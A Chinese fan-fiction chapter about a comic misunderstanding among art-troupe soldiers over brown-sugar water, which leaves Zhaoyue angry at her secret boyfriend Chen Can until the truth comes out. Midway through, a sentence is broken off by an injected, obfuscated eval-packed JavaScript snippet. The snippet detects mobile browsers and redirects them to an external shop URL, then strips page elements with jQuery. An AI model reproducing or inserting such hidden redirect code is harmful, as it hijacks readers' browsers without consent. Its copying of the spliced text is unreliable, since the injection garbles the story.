回到文工团休整的这两天,不用出操不用排练,兆悦整个人彻底松了劲儿。
当天晚上洗漱完,她就往床上一躺,安安静静闭着眼,一动也不想动,连翻身都懒得翻。
郝淑雯、萧穗子她们收拾完,一回头见她半天没动静,都凑了过来。
“兆悦,你这是累狠了?怎么蔫成这样?”郝淑雯轻轻碰了碰她胳膊。
萧穗子也跟着点头:“是啊,从没见你懒成这样。”
兆悦只轻轻嗯了一声,眼睛都没睁,声音软软懒懒的:“别闹我,我就想躺着歇会儿。”
郝淑雯跟旁边几个女兵对视一眼,都露出心照不宣的笑,压低声音打趣:“是不是……这几天不方便,身子不舒服?”
兆悦闭着眼摇摇头,声音闷闷的:“不是。”
“还嘴硬,”郝淑雯压根没信,只当她是不好意思,笑着摆手,“行,那你躺着,我们不吵你。”
几人都默认她是生理期难受,碍于情面不肯明说。
郝淑雯站在床边,忽然想起前一阵子的事。
那次她自己例假疼得厉害,实在没办法,托兆悦去找陈灿要过红糖水。
那事儿她一直记着,总觉得欠兆悦一个小人情,也欠陈灿一句谢。
这会儿看着兆悦躺着难受,她眼睛一转,立刻有了主意。
她还没看见陈灿当时害羞的样子呢,也当是姐妹间互相照应,顺便把上次的人情还了。
“我出去一趟。”
“一会吃饭了,你去哪儿?”
“给兆悦拿点东西,喝了能舒服些。”
郝淑雯神神秘秘一挥手,脚步轻快地往外走,心里还偷偷乐:上次没亲自见着,这次她自己去找陈灿要红糖,倒要看看这平时大大咧咧的小子,被女生问这事儿,会不会脸红害羞。
她半点没往兆悦和陈灿有私情上想,
只当是普通队友间互相帮个忙,做个顺水人情罢了。
郝淑雯一出宿舍门,晚风带着点凉意吹在脸上,文工团大院里还亮着几盏昏黄的灯。
果不其然,不远处那排木椅上围了几个人,正是陈灿、杭春明、朱克几个男兵,趁着休息凑在一块儿闲聊。
陈灿没坐椅子,长腿支着地,人斜斜倚在他那辆锃亮的二八大杠自行车上,姿态松松垮垮,是他一贯清爽又随性的样子。
郝淑雯眼睛一亮,径直走了过去。
几个人听见脚步声,纷纷抬头看过来。
不等陈灿开口,郝淑雯先扬了声,大大方方朝他招手:“陈灿,你过来一下,我跟你说个事。”
这话一出,空气顿时微妙了。
朱克立刻撞了撞旁边人的胳膊,嘴角挑得老高,眼神里全是心照不宣的揶揄。
旁边几个男兵更是压低声音哄地笑了一声,调子拖得长长的,全是看热闹的起哄劲儿。
陈灿眉头几不可查地皱了一下,心里莫名一紧。
他不知道郝淑雯要找他干什么,可这么多人看着,被当众单独叫走,怎么想都觉得不妥,容易落人口舌。
可人家女孩子都大大方方叫了,他一个男兵也不好直接摆脸拒绝,只能不自在地从自行车上下来,朝郝淑雯走了两步。
他刚一离开,朱克他们的打趣声更低了,挤眉弄眼地往这边瞟。
唯独杭春明第一次没跟着笑。
他依旧坐在原处,手里漫不经心地转着个小物件,目光却安安静静落在两人身上,没出声,没起哄,只是默默看着。
陈灿站定在郝淑雯面前,语气尽量自然:“怎么了?有事?”
郝淑雯见陈灿走过来,心里先轻轻跳了一下。
她本来是为兆悦来的,可话到嘴边,莫名就拐了个弯,半句没提兆悦,只低着头,指尖轻轻捻着衣角,声音放得比平时软:“我……我想问你,炊事班那边,还有红糖水吗?能不能再麻烦你去拿一回?”
她没说给谁,语气又柔,加上刚才宿舍里那点心思,听着就像是她自己不舒服。
饶是平时大大咧咧,这会儿也忍不住耳尖微微发烫,有点不好意思抬头。
陈灿一听,愣了一下。
红糖水这东西,他现在自然知道是女生不舒服时才用的。
他立刻就当成了——是郝淑雯自己身子不适,不好意思明说。
他心里没别的想法,只当是队里同事间正常帮忙,分寸感摆得很正:既不会显得冷淡,也绝不越界。
“有是有的,炊事班晚上一般都会备着。”
他语气平和、规矩,客客气气的,听不出半点多余情绪,“行,我去帮你拿一点。”
陈灿心里其实半点别的想法都没有,只当是帮队友一个小忙,而且,他有的是办法避嫌。
可他也知道这种事敏感,人多眼杂,下意识放低了声音,不想让远处朱克他们再乱起哄。
傍晚食堂开饭,文工团的人三三两两端着餐盘找位置坐下。
兆悦刚把饭碗放在桌上,杭春明就端着盘子快步凑过来,一屁股牢牢坐在她身边,一副有大事要说的模样。
萧穗子一眼瞅见,立刻用胳膊肘碰了碰郝淑雯,压低声音笑:“快看快看,兆悦和春明又凑一块儿说悄悄话了,这俩姐弟天天都有小秘密。”
郝淑雯抬眼一瞧,也跟着打趣,声音不大不小刚好能让两人听见:“兆悦,你们俩偷偷摸摸说什么呢?是不是又背着我们搞小动作?”
旁边几个女兵也跟着笑闹:“就是啊,说出来让大家听听,别总两个人藏着掖着。”
“春明,你是不是又得罪你姐了?”
兆悦被说得脸颊微热,刚要开口说没什么,杭春明却先轻轻用胳膊肘碰了碰她,脑袋飞快凑到她耳边,声音压得极低,只有两人能听见:
“姐,我跟你说个事,你可千万别生气。”
兆悦皱了皱眉:“怎么了?”
杭春明左右扫了一圈,确认没人注意,才用气声快速说道:“今天傍晚在大院,郝淑雯把陈灿叫走了,让他去拿红糖水,他真就去了,我们一堆人都看着呢。”
兆悦手里的筷子瞬间顿住。
下午那杯郝淑雯端到她面前的红糖水、郝淑雯回来时那副又得意又羞涩的模样、还有她推脱不喝时对方毫不在意的样子……
所有画面一瞬间在脑子里串成了线。
她还傻乎乎以为那是姐妹关心。
原来——是她的男朋友,亲自给别的女生跑前跑后拿的红糖水。
兆悦只觉得心口猛地一堵,又酸又气,指尖都微微发紧。
还好她嫌甜、怕长胖,一口都没碰,不然真成了天大的笑话。
她脸上没露出半点情绪,只是嘴角抿得紧紧的,眼神一下子冷了下来。
这一晚,兆悦全程没给陈灿一个好脸色。
比如晚上休息前,大家在大院里凑着闲聊,陈灿本来就是假公济私,嘴上说跟大伙聊天,眼睛却一直黏在兆悦身上,就想多待一会儿、靠近一点。
可他刚要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309132|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找机会往她身边挪,兆悦忽然站起身,对着身边几个女兵淡淡撂下一句:“我有点不舒服,先回宿舍了。”
说完,转身就走,连一个眼神都没分给陈灿。
女兵们都只当她是生理期难受,连连点头让她好好休息,没人多想。
只有陈灿愣在原地,彻底懵了。
前几天还好好的,怎么一晚上就冷得像块冰?他完全摸不着头脑。
杭春明抱着胳膊走过来,凑到他身边,悄咪咪幸灾乐祸地来了一句:“你摊上事了。”
陈灿皱眉:“什么?”
“兆悦那样,明摆着就是生气了。”杭春明一脸“我什么都知道”的表情,看热闹不嫌事大。
陈灿一头雾水,满心都是莫名其妙。
直到夜里男兵宿舍里,大家收拾完准备睡觉,闫展博看着杭春明一晚上亢奋得不行,忍不住随口问:“你今天怎么回事?这么精神。”
杭春明左右看了看,压低声音一脸神秘地跟他咬耳朵:“我跟你说个事,你别往外说。团里有一对悄悄好上的,男的心里有人,还跑去给别的女兵拿红糖水,我把这事告诉他对象了,那男的到现在还蒙在鼓里呢。”
闫展博先是一愣,虽然不知道是谁,但也难得“噗嗤”一声笑出来:“你可真会挑弄是非,等那男的知道了,小心他揍你。”
“怕什么?”杭春明一脸无所谓,“敢做不敢当?一个男的,要是真有心,就不该做这种让人误会的事。”
闫展博笑着摇了摇头,随口叹一句:“红糖水?这东西可比炸药包还厉害。”
只这一句话声音稍大点,轻飘飘飘进陈灿耳朵里。
他猛地一僵。
红糖水、炸药包、生气、兆悦一晚上的冷脸、杭春明白天的奇怪样子……
所有碎片“哐当”一下拼在一起。
陈灿瞬间什么都明白了。
合着是杭春明这小子,偷偷告状,挑弄是非,让兆悦误会了!
他又气又急,又不敢在众人面前明说,一旦摊开,他和兆悦的事就全曝光了。
陈灿只能压着火气,瞪着杭春明,又急又气地隐晦的吼道:“杭春明!你怎么……你怎么能这样!”
杭春明装糊涂,一脸无辜地眨眨眼:“我怎么了?我又没说错,谁让那男的做事没分寸,让人多想。”
“你怎么知道人家没分寸?”陈灿气得声音都发紧,只能拼命打暗语。
杭春明梗着脖子理直气壮:“反正我要是有了惦记的人,绝不会做这种让对方伤心的事!”
两人正隐晦地吵得不可开交,乐队一个男兵忽然从门口探进头来,随口问了一句:“你们吵什么呢?哦对了陈灿,下午你托我帮忙的东西带过去,我可送到了啊。”
一句话,全场寂静。
杭春明脸上的得意瞬间僵住。
他瞪圆眼睛,愣了足足一秒。
——陈灿根本没亲自送!
——他只是托人带了一趟!
——他从头到尾,都在瞎生气、瞎告状!
尴尬只持续了短短一瞬,杭春明立刻反应过来——糟了!陈灿肯定要收拾他!
他二话不说,转身拔腿就往门外跑。
陈灿气得在后面咬牙切齿,却碍于一屋子人,只能压低声音吼:“杭春明!你给我站住!”
一宿舍的人全都看得目瞪口呆,除了闫展博心思细腻猜到了,其他谁也不知道,这一晚到底发生了这场哭笑不得的红糖水风波。